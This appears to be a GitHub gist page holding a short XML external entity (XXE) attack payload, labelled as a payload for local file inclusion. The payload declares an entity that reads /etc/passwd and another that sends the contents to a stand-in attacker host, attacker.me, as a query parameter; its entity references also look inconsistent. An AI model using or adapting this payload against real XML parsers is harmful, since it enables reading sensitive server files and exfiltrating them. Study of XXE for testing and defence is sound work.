N1gh7m4r3-N1dh/payload.xml

Created May 17, 2018 16:51

Star () You must be signed in to star a gist
Fork () You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/N1gh7m4r3-N1dh/4be0e4f1d7489b69dfcea740702a8496.js"></script>
Save N1gh7m4r3-N1dh/4be0e4f1d7489b69dfcea740702a8496 to your computer and use it in GitHub Desktop.

Download ZIP

payload for local file inclusion via xxe refering to an external entity.

Raw

payload.xml

	<!DOCTYPE lfi [
	<!ELEMENT lfi ANY>
	<!ENTITY % boo SYSTEM
	"file:///etc/passwd">
	<!ENTITY xxe SYSTEM "http://attacker.me/?info=%boo">
	]>

	<lfi>
	&boo;
	</lfi>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment